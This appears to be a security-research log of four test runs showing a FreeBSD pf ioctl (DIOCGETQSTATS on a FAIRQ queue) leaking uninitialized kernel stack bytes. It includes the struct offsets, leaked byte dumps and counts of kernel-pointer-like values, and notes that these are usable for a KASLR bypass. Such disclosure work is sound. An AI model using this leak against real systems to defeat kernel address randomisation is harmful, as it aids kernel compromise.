# DF-0592 — variance of uninitialized kernel stack bytes leaked # across 4 separate DIOCGETQSTATS invocations (unpatched #0 baseline). # Each run re-creates the FAIRQ discipline+queue from scratch and re-issues # DIOCGETQSTATS. The non-zero count varies run-to-run, proving the leaked # bytes are stale kernel stack residue and not deterministic struct contents. # All samples taken as root with pf.ko loaded on vtnet0; class qtype=Q_DROPTAIL. # Layout reminder: struct fairq_classstats (224 bytes total on amd64) # off 0..11 : fully initialized (class_handle, qlength, qlimit) # off 12..15 : compiler-inserted padding (4 bytes) [LEAK] # off 16..47 : fully initialized (xmit_cnt, drop_cnt) # off 48..51 : fully initialized (qtype) # off 52..55 : compiler-inserted padding (4 bytes) [LEAK] # off 56..223 : red[3] array (168 bytes), untouched for Q_DROPTAIL [LEAK] # Total leak surface: 176 bytes per call. RUN 1 (138/176 non-zero): region [ 12.. 15] padding(qlimit->xmit_cnt) : 4 non-zero bytes ff@12 ff@13 ff@14 ff@15 region [ 52.. 55] padding(qtype->red[0]) : 4 non-zero bytes 01@52 f8@53 ff@54 ff@55 region [ 56..223] red[3] : 130 non-zero bytes fe@57 9a@58 89@59 f8@61 ff@62 ff@63 b0@64 c8@65 67@66 80@67 ff@68 ff@69 ff@70 ff@71 04@88 dd@89 6a@90 18@91 01@92 f8@93 ff@94 ff@95 08@96 36@97 64@98 18@99 01@100 f8@101 ff@102 ff@103 kernel-pointer-looking 8-byte windows in red[]: 29 RUN 2 (124/176 non-zero): region [ 12.. 15] padding(qlimit->xmit_cnt) : 3 non-zero bytes f8@13 ff@14 ff@15 region [ 52.. 55] padding(qtype->red[0]) : 0 non-zero bytes region [ 56..223] red[3] : 121 non-zero bytes 01@56 cb@57 91@58 18@59 01@60 f8@61 ff@62 ff@63 f8@64 e5@65 da@66 17@67 01@68 f8@69 ff@70 ff@71 87@72 63@73 9a@74 80@75 ff@76 ff@77 ff@78 ff@79 02@82 5c@88 80@89 65@90 80@91 ff@92 ff@93 ff@94 kernel-pointer-looking 8-byte windows in red[]: 27 RUN 3 (126/176 non-zero): region [ 12.. 15] padding(qlimit->xmit_cnt) : 0 non-zero bytes region [ 52.. 55] padding(qtype->red[0]) : 0 non-zero bytes region [ 56..223] red[3] : 122 non-zero bytes 01@56 dd@57 8a@58 18@59 01@60 f8@61 ff@62 ff@63 f8@64 45@65 6a@66 18@67 01@68 f8@69 ff@70 ff@71 87@72 63@73 9a@74 80@75 ff@76 ff@77 ff@78 ff@79 02@82 c0@88 a5@89 0e@90 8e@91 f8@93 ff@94 ff@95 kernel-pointer-looking 8-byte windows in red[]: 27 RUN 4 (133/176 non-zero): region [ 12.. 15] padding(qlimit->xmit_cnt) : 0 non-zero bytes region [ 52.. 55] padding(qtype->red[0]) : 0 non-zero bytes region [ 56..223] red[3] : 129 non-zero bytes 01@56 dd@57 8a@58 18@59 01@60 f8@61 ff@62 ff@63 f8@64 f5@65 33@66 18@67 01@68 f8@69 ff@70 ff@71 87@72 63@73 9a@74 80@75 ff@76 ff@77 ff@78 ff@79 08@80 f6@81 33@82 18@83 01@84 f8@85 ff@86 ff@87 kernel-pointer-looking 8-byte windows in red[]: 28 # OBSERVATIONS: # * Bytes consistent across runs at offsets 56-71, 75-79 (re-occurring kernel # text/data pointers 0xffffffff80xxxxxx, 0xffffffff81xxxxxx, 0xffff...). # * Byte-for-byte variance at offsets 80-87, 88-95, 96-103 across runs proves # these are stale stack frames, not static struct contents. # * With KASLR OFF, these recovered pointers are LIVE kernel addresses # (useful for KASLR bypass / as input to a separate primitive).